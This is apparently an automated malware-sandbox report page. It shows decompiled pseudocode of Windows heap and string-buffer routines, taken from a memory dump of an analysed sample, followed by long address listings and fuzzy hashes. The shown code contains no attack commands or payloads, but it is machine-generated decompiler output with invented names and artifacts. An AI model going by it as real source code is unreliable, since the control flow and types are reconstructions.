											_v64 = _v64 + 0xffe0;
											_t438 = _v64;
										}
									}
									__eflags = _t378 - _t438;
									if(_t378 == _t438) {
										goto L37;
									} else {
										_t238 = _t438 & 0x0000ffff;
										_t359 = (_t378 & 0x0000ffff) - (_t438 & 0x0000ffff);
										__eflags = _t359;
										L33:
										__eflags = _t359;
										if(__eflags == 0) {
											_t334 = _t400;
											_v52 = _t334;
											while(1) {
												L45:
												_t274 =  *_t334 & 0x0000ffff;
												__eflags = _t274;
												if(_t274 == 0) {
													break;
												}
												while(1) {
													_t334 =  &(_t334[1]);
													_v52 = _t334;
													__eflags = _t274;
													if(_t274 == 0) {
														goto L45;
													}
													_t274 =  *_t334 & 0x0000ffff;
												}
											}
											_t328 =  &(_t334[1]);
											_v52 = _t328;
											_t275 = _a16;
											__eflags = _t275;
											if(_t275 == 0) {
												_push(_t328 - _t400 & 0xfffffffe);
												_push(_t400);
												_push(_v92);
												L90:
												_t238 = E34CC8C00();
												_t444 = _t444 + 0xc;
												L91:
												__eflags = _v29;
												if(_v29 != 0) {
													_t238 = E34CC8F40(0x34d763a0, 0, 0x234);
													_t444 = _t444 + 0xc;
												}
												goto L60;
											}
											_t427 = _a20;
											__eflags = _t427 - _v80;
											if(_t427 <= _v80) {
												_t428 = _t427 + _t427;
												E34CC88C0(_v56, _t275, _t428);
												_t444 = _t444 + 0xc;
												_t361 = _v56 + _t428;
												_t238 = 0;
												 *_t361 = 0;
												_t362 = _t361 + 2;
												__eflags = _a20 - _v80;
												if(_a20 == _v80) {
													goto L91;
												}
												_t282 = _t328 - _t400 & 0xfffffffe;
												__eflags = _t282;
												_push(_t282);
												_push(_t400);
												_push(_t362);
												goto L90;
											}
											_t406 = _v36;
											_t284 = E34CAB870(_t359,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t406);
											_t328 = _v52;
											_t368 = (_t328 - _t406 >> 1) - _v84 + _t427 + (_t328 - _t406 >> 1) - _v84 + _t427;
											_v80 = _t368;
											__eflags = _t368 - _t284;
											if(_t368 < _t284) {
												_t432 = _v56 + 2 + _t427 + _t427;
												_v88 = _v40;
												E34CC8C00(_t432, _v40, _t328 - _v40 & 0xfffffffe);
												 *((short*)(_t432 - 2)) = 0;
												_t238 = E34CC88C0(_t432 - 2 - _t427 + _t427, _a16, _t427 + _t427);
												_t444 = _t444 + 0x18;
												__eflags = _a4;
												if(_a4 == 0) {
													_t370 = _v48;
													 *((intOrPtr*)(_t370 + 0x48)) = _v36;
													_t238 = _v80;
													 *((intOrPtr*)(_t370 + 0x290)) = _v80;
													_t221 = _t370 + 0x294;
													 *_t221 =  *(_t370 + 0x294) + 1;
													__eflags =  *_t221;
												}
												__eflags = _v29;
												if(_v29 != 0) {
													_t238 = E34CC8F40(0x34d763a0, 0, 0x234);
													_t444 = _t444 + 0xc;
												}
												_t400 = _v88;
												goto L60;
											}
											_t408 = E34CAB9FA(_t368);
											_v88 = _t408;
											__eflags = _t408;
											if(_t408 == 0) {
												goto L111;
											}
											_t435 = (_v56 - _v36 >> 1) + (_v56 - _v36 >> 1);
											E34CC88C0(_t408, _v36, _t435);
											_t409 = _t408 + _t435;
											_t437 = _a20 + _a20;
											E34CC88C0(_t409, _a16, _t437);
											 *((short*)(_t409 + _t437)) = 0;
											E34CC88C0(_t409 + _t437 + 2, _v40, _t328 - _v40 & 0xfffffffe);
											_t444 = _t444 + 0x24;
											_t372 = _a4;
											_t299 = _v88;
											__eflags = _t372;
											if(_t372 != 0) {
												 *_t372 = _t299;
											} else {
												_t372 = _v48;
												 *((intOrPtr*)(_t372 + 0x48)) = _t299;
												 *(_t372 + 0x290) = _v80;
												_t96 = _t372 + 0x294;
												 *_t96 =  *(_t372 + 0x294) + 1;
												__eflags =  *_t96;
											}
											__eflags = _v29;
											if(_v29 != 0) {
												E34CC8F40(0x34d763a0, 0, 0x234);
												_t444 = _t444 + 0xc;
											}
											__eflags = _v30;
											if(_v30 != 0) {
												_push( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
												E34C8E740(_t372);
												_v30 = 0;
											}
											_t238 = L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v36);
											_t400 = _v40;
											_t328 = _v52;
											goto L60;
										}
										if(__eflags < 0) {
											__eflags = _v44 - _t328;
											if(_v44 == _t328) {
												_t238 = _v92;
												_v44 = _v92;
											}
										}
										goto L16;
									}
								}
								_t359 = _a12 - _v88;
								goto L33;
							}
							L60:
							_t342 = _v36;
							_t414 = _v44;
							goto L61;
						}
					} else {
						_t324 = 0;
						__eflags = 0;
						_t441 = _a20;
						while(1) {
							__eflags = _t324 - _t441;
							if(_t324 >= _t441) {
								goto L12;
							}
							__eflags =  *((short*)(_t340 + _t324 * 2));
							if( *((short*)(_t340 + _t324 * 2)) == 0) {
								goto L120;
							} else {
								_t324 = _t324 + 1;
								continue;
							}
						}
						goto L12;
					}
				}
			}

0x34cab1e5
0x34cab1e7
0x34cab1ec
0x34cab1f7
0x34cab1f8
0x34cab1fe
0x34cab203
0x34cab208
0x34cab20c
0x34cab212
0x34cab219
0x34cab220
0x34cab224
0x34cab228
0x34cab22d
0x34cee41b
0x34cee41b
0x34cab57d
0x34cab580
0x34cab58e
0x34cab58e
0x34cab233
0x34cab23a
0x00000000
0x34cab240
0x34cab240
0x34cab245
0x34cab249
0x34cab250
0x00000000
0x34cab25f
0x34cab25f
0x34cab260
0x00000000
0x34cab260
0x34cab250
0x34cab265
0x34cab268
0x34cab26a
0x34cab283
0x34cab289
0x34cab28c
0x34cab28f
0x34cab292
0x34cab295
0x34cab29c
0x34cab29e
0x34cab2a1
0x34cab2a4
0x34cab2a6
0x34cab76c
0x34cab76e
0x34cab771
0x34cab774
0x00000000
0x00000000
0x34cee27e
0x34cee281
0x34cee283
0x34cee296
0x34cee296
0x00000000
0x34cee285
0x34cee286
0x34cee28b
0x34cee28e
0x34cee290
0x00000000
0x00000000
0x00000000
0x34cee290
0x34cab2ac
0x34cab2ac
0x34cab2b0
0x34cab2bd
0x34cab2c2
0x34cab2c5
0x34cab2c8
0x34cab2cb
0x34cab2cb
0x34cab2d2
0x34cab2d4
0x34cab2d7
0x34cab2d9
0x34cab2dc
0x34cab2de
0x34cab55c
0x34cab55c
0x34cab55e
0x34cab709
0x34cab70b
0x34cab70b
0x34cab564
0x34cab566
0x34cab591
0x34cab595
0x00000000
0x00000000
0x34cab597
0x34cab599
0x34cee3e5
0x34cee3e8
0x34cee3ee
0x34cee3f5
0x34cab5f8
0x34cab5f8
0x34cab5fb
0x34cab5fd
0x34cab79b
0x34cab7ab
0x34cab7b3
0x34cab7ba
0x34cab7bf
0x34cab7c2
0x34cab7c5
0x34cab7c7
0x34cab7d5
0x34cab7da
0x34cab7da
0x34cab7dd
0x34cab7df
0x34cab7e7
0x34cab7ea
0x34cab7ed
0x34cab7f3
0x34cab7fb
0x34cab803
0x34cab805
0x34cab808
0x34cab80a
0x34cab810
0x34cab813
0x34cab816
0x00000000
0x34cab81c
0x34cab81c
0x34cab822
0x34cab825
0x34cab828
0x34cab82e
0x00000000
0x34cab82e
0x34cab816
0x34cab60a
0x34cab60c
0x34cab60f
0x34cab611
0x34cee35f
0x34cee35f
0x00000000
0x34cee35f
0x34cab617
0x34cab619
0x34cee3fc
0x34cab61f
0x34cab624
0x34cab624
0x34cab626
0x34cab62e
0x34cab633
0x34cab636
0x34cab636
0x34cab63c
0x34cab642
0x34cab649
0x34cab654
0x34cab65b
0x34cab661
0x34cab667
0x34cab66e
0x34cab679
0x34cab67d
0x34cab680
0x34cab683
0x34cab685
0x34cee405
0x34cee408
0x34cab68b
0x34cab693
0x34cab69b
0x34cab69e
0x34cab6a0
0x34cab6ae
0x34cab6b3
0x34cab6a0
0x34cab6b6
0x34cab6b9
0x34cab6bc
0x34cab6be
0x34cab77f
0x34cab6c4
0x34cab6c4
0x34cab6c7
0x34cab6cd
0x34cab6d3
0x34cab6d3
0x34cab6d3
0x34cab6d3
0x34cab6d9
0x34cab6dd
0x34cab6e5
0x34cab6e8
0x34cab6ed
0x34cab6ed
0x34cab6ff
0x00000000
0x34cab6ff
0x34cab59f
0x34cab5a2
0x34cab5a2
0x34cab5a2
0x34cab5a5
0x34cab5a8
0x00000000
0x00000000
0x34cab5b0
0x34cab5b0
0x34cab5b3
0x34cab5b6
0x34cab5b9
0x00000000
0x00000000
0x34cab5bb
0x34cab5bb
0x34cab5b0
0x34cab5c3
0x34cab5d7
0x34cab5d9
0x34cab5e3
0x34cab5e8
0x34cab5e8
0x34cab5eb
0x34cab5f2
0x34cab5f5
0x00000000
0x34cab568
0x34cab568
0x34cab568
0x34cab56b
0x34cab56b
0x34cab56e
0x34cab56e
0x34cab575
0x34cab57a
0x00000000
0x34cab57a
0x34cab566
0x34cab2e4
0x34cab2e7
0x34cab2f0
0x34cab2f0
0x34cab2f0
0x34cab2f3
0x00000000
0x00000000
0x34cab2f9
0x34cab2fb
0x34cab2fe
0x34cab2fe
0x34cab300
0x34cab303
0x34cab303
0x34cab306
0x34cab309
0x34cab30c
0x34cab30f
0x00000000
0x00000000
0x34cab311
0x34cab314
0x00000000
0x00000000
0x34cab31a
0x34cab31c
0x34cab31f
0x34cab31f
0x34cab322
0x34cab325
0x34cab327
0x34cab330
0x34cab330
0x34cab333
0x00000000
0x00000000
0x34cab335
0x34cab338
0x34cab338
0x34cab33f
0x34cab33f
0x34cab341
0x34cab343
0x34cab346
0x00000000
0x34cab346
0x34cab349
0x34cab34c
0x34cab34f
0x34cab352
0x34cab355
0x34cab358
0x34cab35b
0x34cab35d
0x34cab35f
0x34cab35f
0x34cab363
0x34cab366
0x34cab370
0x34cab370
0x34cab372
0x00000000
0x00000000
0x34cab37b
0x34cab381
0x34cab384
0x34cab388
0x34cab38c
0x34cab390
0x34cab393
0x34cab3cc
0x34cab3cc
0x34cab3cf
0x34cab3d2
0x34cab3d5
0x34cab3d8
0x00000000
0x34cab3d8
0x34cab395
0x34cab399
0x34cab3f4
0x34cab3f8
0x34cee29f
0x34cee2a5
0x00000000
0x00000000
0x34cee2ab
0x34cee2b2
0x34cee2b6
0x00000000
0x00000000
0x34cee2c4
0x34cee2d8
0x34cee2ea
0x34cee2f0
0x34cee2f4
0x34cee2f7
0x34cab409
0x34cab409
0x00000000
0x34cab409
0x34cab3fe
0x34cab3fe
0x34cab3fe
0x34cab405
0x00000000
0x34cab405
0x34cab39b
0x34cab39b
0x34cab39f
0x34cab3dd
0x34cab3e1
0x34cee2ff
0x34cee305
0x34cee30b
0x34cee312
0x34cee316
0x34cee324
0x34cee338
0x34cee346
0x34cee34c
0x34cee350
0x34cee354
0x34cee357
0x34cee357
0x34cee316
0x34cab3e7
0x34cab3e7
0x34cab3ee
0x34cab3ee
0x34cab3e1
0x34cab3a1
0x34cab3a4
0x00000000
0x34cab3a6
0x34cab3a6
0x34cab3ac
0x34cab3ac
0x34cab3ae
0x34cab3ae
0x34cab3b0
0x34cab417
0x34cab419
0x34cab420
0x34cab420
0x34cab420
0x34cab423
0x34cab426
0x00000000
0x00000000
0x34cab430
0x34cab430
0x34cab433
0x34cab436
0x34cab439
0x00000000
0x00000000
0x34cab43b
0x34cab43b
0x34cab430
0x34cab440
0x34cab443
0x34cab446
0x34cab449
0x34cab44b
0x34cab78d
0x34cab78e
0x34cab78f
0x34cab741
0x34cab741
0x34cab746
0x34cab749
0x34cab749
0x34cab74d
0x34cab75f
0x34cab764
0x34cab764
0x00000000
0x34cab74d
0x34cab451
0x34cab454
0x34cab457
0x34cab713
0x34cab71a
0x34cab71f
0x34cab725
0x34cab727
0x34cab729
0x34cab72c
0x34cab732
0x34cab735
0x00000000
0x00000000
0x34cab73b
0x34cab73b
0x34cab73e
0x34cab73f
0x34cab740
0x00000000
0x34cab740
0x34cab45d
0x34cab46c
0x34cab471
0x34cab47f
0x34cab481
0x34cab484
0x34cab486
0x34cee374
0x34cee37b
0x34cee386
0x34cee393
0x34cee39d
0x34cee3a2
0x34cee3a5
0x34cee3a9
0x34cee3ab
0x34cee3b1
0x34cee3b4
0x34cee3b7
0x34cee3bd
0x34cee3bd
0x34cee3bd
0x34cee3bd
0x34cee3c3
0x34cee3c7
0x34cee3d5
0x34cee3da
0x34cee3da
0x34cee3dd
0x00000000
0x34cee3dd
0x34cab491
0x34cab493
0x34cab496
0x34cab498
0x00000000
0x00000000
0x34cab4a8
0x34cab4ae
0x34cab4b6
0x34cab4bb
0x34cab4c2
0x34cab4ce
0x34cab4df
0x34cab4e4
0x34cab4e7
0x34cab4ea
0x34cab4ed
0x34cab4ef
0x34cab794
0x34cab4f5
0x34cab4f5
0x34cab4f8
0x34cab4fe
0x34cab504
0x34cab504
0x34cab504
0x34cab504
0x34cab50a
0x34cab50e
0x34cab51c
0x34cab521
0x34cab521
0x34cab524
0x34cab528
0x34cab530
0x34cab533
0x34cab538
0x34cab538
0x34cab54b
0x34cab550
0x34cab553
0x00000000
0x34cab553
0x34cab3b2
0x34cab3b8
0x34cab3bb
0x34cab3c1
0x34cab3c4
0x34cab3c4
0x34cab3bb
0x00000000
0x34cab3b2
0x34cab3a4
0x34cab412
0x00000000
0x34cab412
0x34cab556
0x34cab556
0x34cab559
0x00000000
0x34cab559
0x34cab26c
0x34cab26c
0x34cab26c
0x34cab26e
0x34cab271
0x34cab271
0x34cab273
0x00000000
0x00000000
0x34cab275
0x34cab27a
0x00000000
0x34cab280
0x34cab280
0x00000000
0x34cab280
0x34cab27a
0x00000000
0x34cab271
0x34cab26a

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0511c7ae7a92addd814d577f0744bfc234180aea49014f3b8b233a5ffe02bc7
Instruction ID: 47f3a20403954e6e845e00eab618ac389c4975aaa0bb2e5575b896d9cb444367
Opcode Fuzzy Hash: d0511c7ae7a92addd814d577f0744bfc234180aea49014f3b8b233a5ffe02bc7
Instruction Fuzzy Hash: 2D32A0B5E1021ADFDB14CFA9C890BAEBBB6FF44754F18012DE905AB350E7359941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 34C92760 Relevance: .6, Instructions: 605
COMMONCrypto

Download Yara Rule

C-Code - Quality: 85%

			E34C92760(signed int __ecx, signed int __edx) {
				intOrPtr _v8;
				signed int _v16;
				signed char _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				signed int _v92;
				signed int _v96;
				signed char _v100;
				signed char _v101;
				signed int _v108;
				signed char _v112;
				signed char _v116;
				signed int _v120;
				signed char _v124;
				signed char _v128;
				signed int _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int* _t226;
				signed int _t229;
				signed int _t232;
				signed int _t233;
				void* _t234;
				intOrPtr _t237;
				signed int _t242;
				signed int _t245;
				signed char _t246;
				intOrPtr _t250;
				signed short _t254;
				signed int _t256;
				signed char _t260;
				void* _t264;
				signed char _t266;
				intOrPtr* _t268;
				signed char _t271;
				signed int _t272;
				signed short _t275;
				signed short _t278;
				signed short _t279;
				signed int _t284;
				signed short _t285;
				signed int _t287;
				void* _t288;
				signed short _t289;
				signed int _t291;
				void* _t292;
				signed char _t297;
				signed short _t299;
				signed char _t301;
				signed short _t320;
				signed short _t322;
				signed short _t323;
				signed int _t325;
				void* _t326;
				signed char _t330;
				signed int _t334;
				signed int _t335;
				void* _t337;
				signed char _t343;
				signed int _t345;
				intOrPtr _t352;
				signed int _t361;
				signed char _t363;
				signed int _t364;
				signed char _t365;
				unsigned int _t370;
				signed int _t374;
				signed char _t378;
				void* _t385;
				signed int _t387;
				signed char _t388;
				signed int _t390;
				signed int _t391;
				signed short _t396;
				signed int _t398;
				signed char _t399;
				unsigned int _t407;
				unsigned int _t409;
				unsigned int _t411;
				unsigned int _t421;
				unsigned int _t424;
				void* _t429;
				signed char _t430;
				signed int _t432;
				signed int _t433;
				signed int _t434;
				signed int _t437;
				void* _t439;
				void* _t445;

				_t386 = __edx;
				_t337 = _t445;
				_v8 =  *((intOrPtr*)(_t337 + 4));
				_t443 = (_t445 - 0x00000008 & 0xfffffff8) + 4;
				_v16 =  *0x34d7b370 ^ (_t445 - 0x00000008 & 0xfffffff8) + 0x00000004;
				_t437 = __ecx;
				_v124 =  *(_t337 + 0xc);
				_t339 =  *(_t337 + 8);
				_t226 =  *(_t337 + 0x10);
				_v112 = _t339;
				_v132 = _t226;
				_v120 = 0;
				_v116 = 0;
				_t428 =  *(_t337 + 0x14);
				_v128 = _t428;
				if(_t339 == 0) {
					 *( *[fs:0x18] + 0xbf4) = 0;
					 *((intOrPtr*)( *[fs:0x18] + 0x34)) = L34CAABA0(0);
					L150:
					_t229 = 0;
					L19:
					_pop(_t429);
					_pop(_t439);
					return L34CC4B50(_t229, _t337, _v16 ^ _t443, _t386, _t429, _t439);
				}
				if( *((intOrPtr*)(__ecx + 8)) == 0xddeeddee) {
					_t387 = E34D2D8D2(__edx);
					_t232 =  *(__ecx + 0xb0);
					_v108 = _t387;
					__eflags = _t232;
					if(_t232 != 0) {
						_t352 =  *[fs:0x18];
						__eflags = _t232 -  *((intOrPtr*)(_t352 + 0x24));
						if(_t232 ==  *((intOrPtr*)(_t352 + 0x24))) {
							_t390 = _t387 | 0x00000001;
							__eflags = _t390;
							_v108 = _t390;
						}
					}
					__eflags =  *0x34d738c0 & 0x00000002;
					_t430 = _v112;
					_t343 = _t430;
					if(( *0x34d738c0 & 0x00000002) == 0) {
						_t233 = 0;
						__eflags = 0;
					} else {
						_t233 =  *((intOrPtr*)(_t430 - 8));
						_t343 = _t343 - _t233;
					}
					_t388 = _v108;
					_v120 = _t233;
					_t234 = _t233 + _v124;
					__eflags = _t234 - _v124;
					if(_t234 >= _v124) {
						_t345 = E34D4970B(_t437, _t388, _t343, _t234, _v132, _v128);
						_v116 = _t345;
						__eflags = _t345;
						if(_t345 == 0) {
							goto L33;
						}
						__eflags = _t345 - 0xffffffff;
						if(_t345 == 0xffffffff) {
							goto L33;
						} else {
							__eflags =  *0x34d738c0 & 0x00000002;
							_t386 = _v120;
							if(( *0x34d738c0 & 0x00000002) != 0) {
								 *(_t345 + _t386 - 8) = _t386;
								_t246 = _t345 + _t386;
								__eflags = _t386 - 8;
								if(_t386 > 8) {
									 *_t345 = _t386;
								}
								_v116 = _t246;
							}
							_t245 = _v132;
							__eflags = _t245;
							if(_t245 != 0) {
								 *_t245 =  *_t245 - _t386;
							}
							goto L37;
						}
					} else {
						_t345 = 0;
						__eflags = 0;
						L33:
						asm("sbb ecx, ecx");
						_t55 = ( ~_t345 & 0xffffffee) - 0x3fffffe9; // -1073741801
						_t386 = _t55;
						_v128 = _t386;
						_v116 = 0;
						 *( *[fs:0x18] + 0xbf4) = _t386;
						_t237 = L34CAABA0(_t386);
						__eflags = _v108;
						 *((intOrPtr*)( *[fs:0x18] + 0x34)) = _t237;
						if(_v108 < 0) {
							L35:
							_v100 = _v128;
							_v80 = _v124;
							_push( &_v100);
							_v92 = 0;
							_v84 = 1;
							_v96 = 0;
							_v88 = E34CD8A60;
							E34CD8A60(0, _t386);
							L36:
							_t430 = _v112;
							L37:
							_t242 = E34C93C20(_t437);
							__eflags = _t242;
							_t229 = _v116;
							if(_t242 != 0) {
								__eflags = _t229;
								if(_t229 != 0) {
									E34D3E8B1(_t437, _t430);
									_t386 = _v116;
									E34D3DF93(_t437, _v116);
									_t229 = _v116;
								}
							}
							goto L19;
						}
						__eflags =  *(_t437 + 0xc);
						if( *(_t437 + 0xc) >= 0) {
							goto L36;
						}
						goto L35;
					}
				}
				if(_t226 != 0) {
					 *_t226 = 0;
				}
				if(_t428 != 0) {
					 *_t428 = 0;
				}
				_v108 = _t386;
				if(( *(_t437 + 0x44) & 0x01000000) != 0) {
					_t229 = E34D2FDF4(_t337, _t437, _t386, _t428, _t437, __eflags, _t339, _v124);
					goto L19;
				} else {
					if( *0x34d7373c != 0) {
						L8:
						if(( *(_t437 + 0x48) & 0x00000001) != 0) {
							_t386 = _t339;
							_t432 = E34C7A4D2(_t337, _t437, _t339, _t428, _t437, __eflags);
							L12:
							_t339 = _v112;
							L13:
							if(_t432 == 0) {
								_t433 = 0xc0000005;
								L148:
								 *( *[fs:0x18] + 0xbf4) = _t433;
								_t250 = L34CAABA0(_t433);
								__eflags = _v108 & 0x00000004;
								 *((intOrPtr*)( *[fs:0x18] + 0x34)) = _t250;
								if((_v108 & 0x00000004) != 0) {
									_v80 = _v124;
									_push( &_v100);
									_v100 = _t433;
									_v92 = 0;
									_v84 = 1;
									_v96 = 0;
									_v88 = E34CD8A60;
									E34CD8A60(_t339, _t386);
								}
								goto L150;
							}
							if( *((char*)(_t339 - 1)) == 5) {
								__eflags =  *(_t432 + 7);
								if(__eflags >= 0) {
									__eflags =  *(_t437 + 0x4c);
									if( *(_t437 + 0x4c) == 0) {
										L61:
										__eflags =  *(_t432 + 7);
										if( *(_t432 + 7) >= 0) {
											__eflags =  *(_t437 + 0x4c);
											if( *(_t437 + 0x4c) == 0) {
												_t254 =  *_t432 & 0x0000ffff;
											} else {
												_t323 =  *_t432;
												__eflags =  *(_t437 + 0x4c) & _t323;
												if(( *(_t437 + 0x4c) & _t323) != 0) {
													_t323 = _t323 ^  *(_t437 + 0x50);
													__eflags = _t323;
												}
												_t254 = _t323 & 0x0000ffff;
											}
										} else {
											_t421 = _t432 >> 0x00000003 ^  *_t432 ^ _t437 ^  *0x34d76964;
											__eflags = _t421;
											if(_t421 == 0) {
												_t325 = _t432 - (_t421 >> 0xd);
												__eflags = _t325;
												_t326 =  *_t325;
											} else {
												_t326 = 0;
											}
											_t254 =  *((intOrPtr*)(_t326 + 0x14));
										}
										__eflags =  *(_t432 + 7) - 4;
										_t256 = _t254 & 0xffff;
										_v128 = _t256;
										if( *(_t432 + 7) != 4) {
											_t391 = _t256 * 8;
										} else {
											__eflags =  *(_t437 + 0x4c);
											if( *(_t437 + 0x4c) == 0) {
												_t320 =  *_t432 & 0x0000ffff;
											} else {
												_t322 =  *_t432;
												__eflags =  *(_t437 + 0x4c) & _t322;
												if(( *(_t437 + 0x4c) & _t322) != 0) {
													_t322 = _t322 ^  *(_t437 + 0x50);
													__eflags = _t322;
												}
												_t320 = _t322 & 0x0000ffff;
											}
											_t391 =  *((intOrPtr*)(_t432 - 8)) - (_t320 & 0x0000ffff) + _v128;
										}
										__eflags = _t391 + _t432 - _t339;
										if(_t391 + _t432 >= _t339) {
											L84:
											__eflags = _v108 & 0x3c000102;
											_v116 =  *(_t339 - 8);
											if((_v108 & 0x3c000102) != 0) {
												goto L15;
											}
											_t271 =  *((intOrPtr*)(_t339 - 1));
											__eflags = _t271 - 5;
											if(_t271 != 5) {
												__eflags = _t271 & 0x00000040;
												if((_t271 & 0x00000040) == 0) {
													_t396 = 0;
													__eflags = 0;
												} else {
													_t396 = (_t271 & 0x3f) << 0x00000003 & 0x0000ffff;
													_t271 =  *((intOrPtr*)(_t339 - 1));
												}
											} else {
												_t396 = ( *(_t339 - 2) & 0x000000ff) << 0x00000003 & 0x0000ffff;
												_t271 =  *((intOrPtr*)(_t339 - 1));
											}
											_t361 = _t396 & 0x0000ffff;
											_v120 = _t396;
											_v132 = _t361;
											_t339 = _t361 + _v124;
											_v128 = _t339;
											_t386 = _v112 - 8;
											__eflags = _t339 - _v124;
											if(_t339 < _v124) {
												L147:
												_t433 = 0xc0000017;
												goto L148;
											} else {
												_v124 = _t339;
												__eflags = _t271 - 5;
												if(_t271 != 5) {
													_t398 = 0;
													__eflags = 0;
												} else {
													_t398 = _t386 - (( *(_t386 + 6) & 0x000000ff) << 3) + 8;
												}
												_t339 = _v116;
												_t386 = _t437;
												_t272 = E34D278DE(_v116, _t437, _v112, 5, _t398);
												__eflags = _t272;
												if(_t272 >= 0) {
													_t363 =  *(_t432 + 7);
													__eflags = _t363 - 4;
													if(_t363 != 4) {
														__eflags = _t363 - 5;
														if(_t363 != 5) {
															__eflags = _t363 & 0x00000040;
															if((_t363 & 0x00000040) == 0) {
																__eflags = (_t363 & 0x0000003f) - 0x3f;
																if((_t363 & 0x0000003f) == 0x3f) {
																	__eflags = _t363;
																	if(_t363 >= 0) {
																		__eflags =  *(_t437 + 0x4c);
																		if( *(_t437 + 0x4c) == 0) {
																			_t275 =  *_t432 & 0x0000ffff;
																		} else {
																			_t289 =  *_t432;
																			__eflags =  *(_t437 + 0x4c) & _t289;
																			if(( *(_t437 + 0x4c) & _t289) != 0) {
																				_t289 = _t289 ^  *(_t437 + 0x50);
																				__eflags = _t289;
																			}
																			_t275 = _t289 & 0x0000ffff;
																		}
																	} else {
																		_t370 = _t432 >> 0x00000003 ^  *_t432 ^ _t437 ^  *0x34d76964;
																		__eflags = _t370;
																		if(_t370 == 0) {
																			_t291 = _t432 - (_t370 >> 0xd);
																			__eflags = _t291;
																			_t292 =  *_t291;
																		} else {
																			_t292 = 0;
																		}
																		_t275 =  *((intOrPtr*)(_t292 + 0x14));
																	}
																	_t364 =  *(_t432 + (_t275 & 0xffff) * 8 - 4);
																} else {
																	_t364 = _t363 & 0x3f;
																}
															} else {
																_t364 =  *(_t432 + 4 + (_t363 & 0x3f) * 8) & 0x0000ffff;
															}
														} else {
															_t364 =  *(_t437 + 0x54) & 0x0000ffff ^  *(_t432 + 4) & 0x0000ffff;
														}
														_t399 =  *(_t432 + 7);
														_v101 = _t399;
														__eflags = _t399;
														if(_t399 >= 0) {
															__eflags =  *(_t437 + 0x4c);
															if( *(_t437 + 0x4c) == 0) {
																_t278 =  *_t432 & 0x0000ffff;
															} else {
																_t285 =  *_t432;
																__eflags =  *(_t437 + 0x4c) & _t285;
																if(( *(_t437 + 0x4c) & _t285) != 0) {
																	_t285 = _t285 ^  *(_t437 + 0x50);
																	__eflags = _t285;
																}
																_t278 = _t285 & 0x0000ffff;
															}
														} else {
															_t407 = _t432 >> 0x00000003 ^  *_t432 ^ _t437 ^  *0x34d76964;
															__eflags = _t407;
															if(_t407 == 0) {
																_t287 = _t432 - (_t407 >> 0xd);
																__eflags = _t287;
																_t288 =  *_t287;
															} else {
																_t288 = 0;
															}
															_t278 =  *((intOrPtr*)(_t288 + 0x14));
															_t399 = _v101;
														}
														_t365 = _t364 - _v132;
														_t279 = _t278 & 0x0000ffff;
														__eflags = _t365 - 0x3f;
														if(_t365 >= 0x3f) {
															 *(_t432 + (_t279 & 0x0000ffff) * 8 - 4) = _t365;
															_t284 = (_t399 >> 0x0000001f & 0x00000080) + 0x3f;
															__eflags = _t284;
															 *(_t432 + 7) = _t284;
														} else {
															 *(_t432 + 7) = _t399 >> 0x00000007 & 0x00000080 | _t365;
														}
													} else {
														_t374 = _v108;
														_t297 =  *(_t437 + 0x44) | _t374;
														__eflags = _t297 & 0x00000001;
														if((_t297 & 0x00000001) == 0) {
															E34C8FED0( *((intOrPtr*)(_t437 + 0xc8)));
															_t374 = _v108;
														}
														__eflags =  *(_t437 + 0x4c);
														if( *(_t437 + 0x4c) != 0) {
															_t411 =  *(_t437 + 0x50) ^  *_t432;
															 *_t432 = _t411;
															_t378 = _t411 >> 0x00000010 ^ _t411 >> 0x00000008 ^ _t411;
															__eflags = _t411 >> 0x18 - _t378;
															if(__eflags != 0) {
																_push(_t378);
																E34D3D646(_t337, _t437, _t432, _t432, _t437, __eflags);
															}
															_t374 = _v108;
														}
														_t299 =  *_t432 - _v120;
														 *_t432 = _t299;
														__eflags =  *(_t437 + 0x4c);
														_t409 = _t299 & 0x0000ffff;
														if( *(_t437 + 0x4c) != 0) {
															 *(_t432 + 3) = _t409 >> 0x00000008 ^  *(_t432 + 2) ^ _t409;
															 *_t432 =  *_t432 ^  *(_t437 + 0x50);
															__eflags =  *_t432;
														}
														_t301 =  *(_t437 + 0x44) | _t374;
														__eflags = _t301 & 0x00000001;
														if((_t301 & 0x00000001) == 0) {
															_push( *((intOrPtr*)(_t437 + 0xc8)));
															E34C8E740(_t374);
														}
													}
													_t188 = _t432 + 8; // 0xddeeddf6
													_t339 = _t188;
													_v112 = _t188;
													goto L15;
												} else {
													_t433 = 0xc0000005;
													goto L148;
												}
											}
										} else {
											L80:
											_v101 = 0;
											L81:
											_t386 = _t437;
											_t339 = 3;
											E34D45FED(3, _t437, _t432, 3, 0, 0);
											__eflags = _v101;
											if(_v101 != 0) {
												_t339 = _v112;
												goto L84;
											}
											_t433 = 0xc000000d;
											goto L148;
										}
									}
									_t424 =  *(_t437 + 0x50) ^  *_t432;
									__eflags = _t424 >> 0x18 - (_t424 >> 0x00000010 ^ _t424 >> 0x00000008 ^ _t424);
									_t339 = _v112;
									if(_t424 >> 0x18 != (_t424 >> 0x00000010 ^ _t424 >> 0x00000008 ^ _t424)) {
										goto L80;
									}
									goto L61;
								}
								_t330 = E34D41F59(_t337, _t437, _t432, _t432, _t437, __eflags);
								_t339 = _v112;
								_v101 = _t330;
								__eflags = _t330;
								if(_t330 != 0) {
									goto L61;
								}
								goto L81;
							}
							L15:
							_t386 = _v108 | 0x00000002;
							_t434 = E34C928C0(_t437, _v108 | 0x00000002, _t339, _v124);
							_t260 =  *0x34d76834; // 0x0
							if((_t260 & 0x00000001) != 0) {
								__eflags = _t260 & 0x00000002;
								if((_t260 & 0x00000002) == 0) {
									goto L16;
								}
								_t339 =  *[fs:0x30];
								__eflags =  *(_t339 + 0x18);
								if( *(_t339 + 0x18) == 0) {
									goto L16;
								}
